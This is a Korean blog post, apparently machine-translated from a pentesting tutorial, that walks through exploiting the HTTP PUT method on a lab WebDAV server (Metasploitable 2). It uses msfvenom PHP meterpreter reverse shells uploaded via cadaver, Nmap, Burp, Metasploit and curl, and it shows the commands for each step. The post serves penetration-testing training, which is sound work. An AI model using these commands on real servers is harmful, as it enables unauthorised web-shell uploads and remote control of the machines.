Self-Improvement

PUT 메소드 취약점 공략 본문

Web

PUT 메소드 취약점 공략

JoGeun 2019. 8. 26. 10:40

https://www.hackingarticles.in/hack-milnet-vm-ctf-challenge/

 

Hack the Milnet VM (CTF Challenge)

This is a boot2root challenge which we will try to complete. This VM is created by Warrior and is a basic exploitable VM so we do not need to worry about any advance exploits and reverse engineering. Download the VM from –> https://www.vulnhub.com/entry/mi

www.hackingarticles.in

내용의 테이블 

  • 나는 HTTP의 PUT 방법에 서론
  • HTTP PUT 방법 검색 (Nikto)
  • Cadaver를 사용하여 PUT 방법 활용
  • Nmap을 이용한  PUT 방법 활용
  • 이용  PUT 방법 사용 포스터
  • 이용  메타 스플 로이트를 사용하여 PUT 방법을
  • 이용  Burpsuite을 사용하여 PUT 방법을
  • 이용  PUT 방법 사용하여 컬을

HTTP PUT 메소드 소개

PUT 방법은 원래 파일 관리 작업에 사용되는 HTTP 방법 중 하나로 사용되었습니다. 웹 서버에서 HTTP PUT 메소드를 사용하는 경우 웹 쉘과 같은 대상 서버에 악성 자원을 업로드하고이를 실행할 수 있습니다.

이 방법은 대상 서버의 파일 시스템에서 파일을 변경하거나 삭제하는 데 사용되므로 다양한 파일 업로드 취약점이 발생하여 치명적이고 위험한 공격을 유발할 수 있습니다. 조직에서 이러한 방법을 반드시 사용해야하는 경우 조직의 중요 서버에 대한 파일 액세스 권한은 권한이 부여 된 사용자에 대한 액세스 제한으로 엄격하게 제한해야합니다.

참고 : 이 자습서에서는 Pentesting 목적으로 다양한 도구의 사용을 보여주기 위해 취약한 대상 시스템을 사용하고 있습니다. 이것은 순수하게 테스트 환경에서의 교육 목적을위한 것이며 관련 기관 / 관리자의 허가없이 프로덕션 환경에서 사용해서는 안됩니다.

요구 사항 

목표 : Metasploitable 2

공격자 : 칼리 리눅스 머신

의 시작하자!!!!

Kali Linux 컴퓨터 (IP : 192.168.1.105 )를 부팅 하고 Firefox 브라우저에서 희생자 IP를 192.168.1.103 으로 입력 한 다음 WebDAV를 클릭하십시오. 스크린 샷에서 볼 수 있듯이 부모 디렉토리 만 나열됩니다. 

우선, 취약한 대상 시스템에 HTTP PUT 방법이있어 악의적 인 백도어를 업로드 할 수 있는지 확인해야합니다. 이를 확인하려면 Nikto를 사용하여 대상을 스캔해야합니다.

Nikto는 웹 서버에서 위험한 파일 / CGI, 오래된 서버 소프트웨어 및 기타 문제를 테스트하는 인기있는 웹 서버 스캐너입니다. 또한 일반 및 서버 유형별 검사도 수행합니다. 다음은 URL을 스캔하는 명령입니다.

 

1

nikto -h http://192.168.1.103/dav/

위 명령을 실행하면 아래 스크린 샷에서 강조 표시된 부분에 HTTP PUT 메서드가 허용 된 것으로 표시됩니다. 이제 다음 섹션에 나오는 다양한 기술을 사용하여 PHP 악성 파일을 업로드하여 취약한 대상 시스템을 해킹 해 봅시다.

msfvenom으로 업로드 할 악성 파일을 준비하십시오.

Msfvenom을 사용하여 리버스 쉘을 제공하는 PHP meterpreter 페이로드를 만들 수 있습니다. 다음 명령을 실행하여 동일한 작업을 수행하십시오

 

1

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw

에서 코드를 복사 죽을 <? PHP는 () 와 같은 .PHP 확장자를 가진 파일에 저장 shell.php의 웹 서버에 파일을 업로드, 나중에 다음 섹션에서 활용 될 데스크탑 .This에 파일.

동시에 새 터미널에 msfconsole을 입력하여 Metasploit 프레임 워크를로드하고 다중 / 핸들러를 시작하십시오.이 부분의 뒷부분에서 활용됩니다

시체

Cadaver는 Kali 컴퓨터에 사전 설치된 명령 줄 도구로 WebDAV에서 파일을 업로드하고 다운로드 할 수 있습니다.

아래 명령을 사용하여 악성 파일을 업로드 할 대상 호스트 URL을 입력하십시오.

 

1

cadaver http://192.168.1.103/dav/

이제 피해자의 디렉토리에 들어가면 아래 명령을 실행하여 데스크탑에서 대상 컴퓨터의 경로로 shell.php 파일을 업로드하십시오 .

 

1

put /root/Desktop/shell.php

파일이 업로드되었는지 여부를 확인하려면 브라우저 에서 URL 192.168.1.103/dav/  실행하십시오 . 대박 !!!보시다시피 악성 파일 shell.php 가 웹 서버에 업로드되었습니다.

이제 Metasploit 프레임 워크를 시작하고 exploit / multi / handler 모듈을 사용하여 핸들러를 시작하겠습니다.LHOST 및 LPORT 값과 같은 다른 값을 각각 Kali 시스템의 IP 및 포트에 지정하여 청취하십시오. 완료되면 exploit명령을 실행 하여 수신 연결 수신을 시작 하여 실행하십시오 .

 

1

2

3

4

5

msf> use exploit/multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.105

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

Enter 키를 누르면 Kali IP 192.168.1.105:4444에서 역방향 TCP 처리기가 시작된 것을 볼 수 있습니다.

이제 이전에 업로드 한 shell.php 파일 로 돌아가서 같은 파일을 클릭하십시오. 일단 실행되면 meterpreter 쉘에서 TCP 역방향 연결을 자동으로 얻습니다. 또한 meterpreter 세션에서 sysinfo 명령을 실행하여 시스템 OS / 아키텍처 세부 사항을 가져 오십시오.

 

1

meterpreter>sysinfo

 

Nmap

Nmap은 오픈 소스 포트 스캐너 및 네트워크 개발 도구입니다. 웹 서버에서 PUT 방법을 사용하는 경우 NMAP을 사용하여 악성 파일을 원격 웹 서버에 업로드 할 수도 있습니다. 다음은 동일하게 구성하는 명령입니다. NSE 인수로 파일 이름과 URL 경로를 지정해야합니다. 동시에 대상 서버에 업로드 할 악성 파일 nmap.php  준비하십시오 .

 

1

nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'

아래 스크린 샷에서 볼 수 있듯이 nmap.php 파일이 성공적으로 업로드되었습니다.

브라우저 192.168.1.103/dav에 동일한 URL을 입력하고 동일한 URL을 실행하십시오. 스크린 샷에서 알 수 있듯이 nmap.php 파일은 웹 서버에 업로드되었습니다.

동시에 Metasploit MSF 콘솔을 열고 멀티 / 핸들러를 사용하십시오. 그런 다음 이전에 업로드 한 nmap.php 파일로 돌아가서 실행하십시오. 아래에서 볼 수 있듯이 이것은 미터 프 레터 세션을 제공합니다.

포스터

이 포스터는 Firefox 부가 기능 및 웹 서비스와 상호 작용하여 최종 사용자가 GET, POST, PUT 및 DELETE와 같은 매개 변수를 사용하여 HTTP 요청을 트리거하고 엔티티 본문 및 컨텐츠 유형을 설정할 수 있도록하는 개발자 도구입니다.

대상 시스템에 업로드 할 악성 파일 poster.php  준비하십시오 . Firefox 애드온에서 포스터 플러그인을 설치하십시오. 메뉴 표시 줄에서 도구를 클릭하십시오. 그런 다음 드롭 다운 메뉴에서 포스터를 클릭하십시오. 다음과 같은 대화 상자가 열립니다. 스크린 샷에서 언급 한대로 URL을 입력하고 찾아보기 옵션을 통해 업로드 할 악성 파일의 경로를 제공하고 마지막으로 PUT 작업을 클릭하십시오.

브라우저 192.168.1.103/dav에 동일한 URL을 입력하고 동일한 URL을 실행하십시오. 스크린 샷에서 알 수 있듯이 poster.php 파일은 웹 서버에 업로드되었습니다.

동시에 Metasploit MSF 콘솔을 열고 멀티 / 핸들러를 사용하십시오. 그런 다음 이전에 업로드 한 poster.php 파일로 돌아가서 실행하십시오. 이것은 우리에게 계량기 세션을 줄 것입니다.

버프 스위트

Burpsuite는 그래픽 인터페이스를 사용하여 모든 종류의 GET 및 POST 요청을 효과적으로 분석 할 수있는 가장 널리 사용되는 프록시 차단 도구 중 하나입니다.

GET 요청을 차단하도록 최종 사용자 브라우저의 수동 프록시 설정을 구성하십시오. URL http://192.168.1.103을 찾아보십시오. 아직 ENTER를 누르지 마십시오. 동시에, Burpsuite Proxy 탭으로 이동  하여 Intercept 하위 옵션 아래  있는 Intercept is 옵션을 클릭 하여 요청을 캡처합니다. 사용자 브라우저에서 ENTER를 누르 자마자 인터셉트 창에서 데이터를 가져올 수 있습니다.

이제 같은 창을 마우스 오른쪽 버튼으로 클릭하면 여러 옵션 목록이 표시됩니다. 리피터로 보내기  추가로 클릭하십시오 .

 

아래에 강조 표시된 스크린 샷에서 HTTP 요청과 HTTP 응답 각각에 대해 왼쪽과 오른쪽의 두 가지 패널이 있습니다. GET 메소드는 HTTP 요청에서 관찰 될 수 있으며 이제 악성 컨텐츠 / 코드로 구성된 burp.php 라는 이름으로 파일을 업로드하기 위해 GET을 PUT 메소드로 대체 할 것 입니다.

헤더에 PUT /dav/burp.php HTTP / 1.1  입력 한 다음 PUT 요청을 통해 dav 디렉토리 에서 시작하는 PHP 악성 코드를 붙여 넣습니다 .

최종 사용자의 브라우저에서 동일한 URL 192.168.1.103/dav를 찾아 파일 업로드를 확인하고 확인 하면 웹 서버의 / dav 디렉토리에 burp.php 파일이 업로드 된 것을 볼 수 있습니다 .

동시에 Metasploit MSF 콘솔을 열고 멀티 / 핸들러를 사용하십시오. 그런 다음 이전에 업로드 한 burp.php 파일로 돌아가서 실행하십시오. 이것은 우리에게 계량기 세션을 줄 것입니다.

메타 스플로 잇

Metasploit Framework는 익스플로잇 개발, 테스트 및 실행을위한 잘 알려진 플랫폼입니다. 대상 시스템에 대한 다양한 익스플로잇을 수행하기위한 오픈 소스 도구입니다. 이 모듈은 잘못 구성된 웹 서버를 남용하여 PUT 및 DELETE HTTP 요청을 통해 웹 컨텐츠를 업로드하고 삭제합니다. ACTION을 PUT 또는 DELETE로 설정하십시오.PUT이 기본값입니다.

Metasploit에는 HTTP 메소드 검색 전용의 보조 모듈이 내장되어 있으며 보조 / 스캐너 / http / http_put을 사용하여 파일을 PUT 할 수 있습니다. 다음은 동일한 작업을 수행하는 명령입니다

 

1

2

3

4

5

6

7

msf> use auxiliary/scanner/http/http_put

msf>auxiliary (http_put) > set rhosts 192.168.1.103

msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp

msf>auxiliary (http_put) > set path /dav/

msf>auxiliary (http_put) > set filename meter.php

msf>auxiliary (http_put) > set filedata file://root/Desktop/meter.php

msf>auxiliary (http_put) > exploit

브라우저 192.168.1.103/dav에 동일한 URL을 입력하고 동일한 URL을 실행하십시오. 스크린 샷에서 알 수 있듯이 meter.php 파일은 웹 서버에 업로드되었습니다.

 

동시에 Metasploit MSF 콘솔을 열고 멀티 / 핸들러를 사용하십시오. 그런 다음 이전에 업로드 한 meter.php 파일로 돌아가서 실행하십시오. 이것은 우리에게 계량기 세션을 줄 것입니다.

 

cURL은 URL 구문을 사용하여 데이터를 보내거나받는 잘 알려진 명령 줄 도구이며 다양한 잘 알려진 프로토콜 (HTTPS, FTP, SCP, LDAP, Telnet 등)과 호환됩니다.

cURL을 사용하여 PUT 메소드를 활용하려면 다음 명령을 사용하십시오.

 

1

curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v

브라우저 192.168.1.103/dav에 동일한 URL을 입력하고 동일한 URL을 실행하십시오. 스크린 샷에서 알 수 있듯이 curl.php 파일이 웹 서버에 업로드되었습니다.

 

동시에 Metasploit MSF 콘솔을 열고 멀티 / 핸들러를 사용하십시오. 그런 다음 이전에 업로드 한 curl.php 파일로 돌아가서 실행하십시오. 이것은 우리에게 계량기 세션을 줄 것입니다.

 

'Web' 카테고리의 다른 글

[Hacker101] BugDB v2 Writeup (GraphQL)  (0) 2021.12.28
[Hacker101] BugDB v1 Writeup (GraphQL)  (0) 2021.12.28
쿠키와 세션2  (0) 2019.08.26
SQLi 페이로드  (0) 2019.07.22
PHP 문자열 필터링 함수 취약점(POSIX Regex --> PCRE Regex)  (0) 2018.10.20